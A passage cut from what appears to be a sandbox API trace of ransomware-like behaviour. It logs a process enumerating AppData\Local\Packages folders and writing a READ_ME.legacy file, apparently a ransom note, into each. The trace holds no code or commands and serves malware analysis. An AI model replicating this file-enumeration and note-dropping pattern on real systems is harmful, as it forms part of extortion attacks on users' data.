nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.358] CloseHandle (hObject=0x874) returned 1 [0153.358] FindNextFileW (in: hFindFile=0x61e848, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd67825a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfd67825a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfd67825a, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0153.358] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.getstarted_8wekyb3d8bbwe\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0153.358] WriteFile (in: hFile=0x874, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.359] CloseHandle (hObject=0x874) returned 1 [0153.359] FindNextFileW (in: hFindFile=0x61e848, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3890844a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcaafb076, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3890844a, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0153.359] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.getstarted_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0153.360] WriteFile (in: hFile=0x874, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.361] CloseHandle (hObject=0x874) returned 1 [0153.361] FindNextFileW (in: hFindFile=0x61e848, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3890844a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcaafb076, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3890844a, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0153.361] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x695414de, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7b44678d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe32e57eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61ebc8 [0153.361] FindNextFileW (in: hFindFile=0x61ebc8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x695414de, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7b44678d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe32e57eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0153.361] FindNextFileW (in: hFindFile=0x61ebc8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x695b3be8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x32a294bc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x32a294bc, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0153.361] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.lockapp_cw5n1h2txyewy\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x878 [0153.363] WriteFile (in: hFile=0x878, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.364] CloseHandle (hObject=0x878) returned 1 [0153.364] FindNextFileW (in: hFindFile=0x61ebc8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69567730, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcab4e926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x69567730, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0153.364] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.lockapp_cw5n1h2txyewy\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x878 [0153.365] WriteFile (in: hFile=0x878, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.366] CloseHandle (hObject=0x878) returned 1 [0153.366] FindNextFileW (in: hFindFile=0x61ebc8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x695414de, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcab4f07a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x695414de, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0153.366] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.lockapp_cw5n1h2txyewy\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x878 [0153.367] WriteFile (in: hFile=0x878, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.368] CloseHandle (hObject=0x878) returned 1 [0153.368] FindNextFileW (in: hFindFile=0x61ebc8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x695414de, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcab4f626, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x695414de, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0153.368] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.lockapp_cw5n1h2txyewy\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x878 [0153.369] WriteFile (in: hFile=0x878, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.380] CloseHandle (hObject=0x878) returned 1 [0153.380] FindNextFileW (in: hFindFile=0x61ebc8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32e57eb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe32e57eb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe32e57eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0153.380] FindNextFileW (in: hFindFile=0x61ebc8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x695414de, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcab4fd13, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x695414de, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0153.381] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.lockapp_cw5n1h2txyewy\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x878 [0153.381] WriteFile (in: hFile=0x878, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.382] CloseHandle (hObject=0x878) returned 1 [0153.382] FindNextFileW (in: hFindFile=0x61ebc8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69567730, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7120db5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7120db5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0153.382] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.lockapp_cw5n1h2txyewy\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x878 [0153.407] WriteFile (in: hFile=0x878, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.408] CloseHandle (hObject=0x878) returned 1 [0153.408] FindNextFileW (in: hFindFile=0x61ebc8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b2c8ffc, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7b2c8ffc, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7b2c8ffc, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0153.408] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.lockapp_cw5n1h2txyewy\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x878 [0153.409] WriteFile (in: hFile=0x878, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.410] CloseHandle (hObject=0x878) returned 1 [0153.410] FindNextFileW (in: hFindFile=0x61ebc8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x695414de, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcac1bf8c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x695414de, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0153.410] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.lockapp_cw5n1h2txyewy\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x878 [0153.411] WriteFile (in: hFile=0x878, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.412] CloseHandle (hObject=0x878) returned 1 [0153.412] FindNextFileW (in: hFindFile=0x61ebc8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x695414de, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcac1bf8c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x695414de, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0153.412] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3517066f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfbf856cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe3357fbd, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61e608 [0153.412] FindNextFileW (in: hFindFile=0x61e608, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3517066f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfbf856cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe3357fbd, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0153.412] FindNextFileW (in: hFindFile=0x61e608, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x352eddd8, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x32d4a634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x32d4a634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0153.412] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x87c [0153.412] WriteFile (in: hFile=0x87c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.413] CloseHandle (hObject=0x87c) returned 1 [0153.413] FindNextFileW (in: hFindFile=0x61e608, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3525549b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcad7a98d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3525549b, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0153.413] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x87c [0153.415] WriteFile (in: hFile=0x87c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.415] CloseHandle (hObject=0x87c) returned 1 [0153.416] FindNextFileW (in: hFindFile=0x61e608, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x351968ce, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x432e06f1, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x432e06f1, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0153.416] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x87c [0153.428] WriteFile (in: hFile=0x87c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.428] CloseHandle (hObject=0x87c) returned 1 [0153.428] FindNextFileW (in: hFindFile=0x61e608, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3517066f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x32e556a9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x32e556a9, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0153.429] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x87c [0153.495] WriteFile (in: hFile=0x87c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.496] CloseHandle (hObject=0x87c) returned 1 [0153.496] FindNextFileW (in: hFindFile=0x61e608, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3357fbd, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe3357fbd, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe3357fbd, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0153.496] FindNextFileW (in: hFindFile=0x61e608, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3517066f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcaddd25d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3517066f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0153.496] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x87c [0153.498] WriteFile (in: hFile=0x87c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.498] CloseHandle (hObject=0x87c) returned 1 [0153.499] FindNextFileW (in: hFindFile=0x61e608, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x351968ce, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x71233dac, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71233dac, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0153.499] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x87c [0153.541] WriteFile (in: hFile=0x87c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.542] CloseHandle (hObject=0x87c) returned 1 [0153.542] FindNextFileW (in: hFindFile=0x61e608, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbc3e2f6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfbc3e2f6, ftLastAccessTime.dwHighDateTime=0x1d32744, 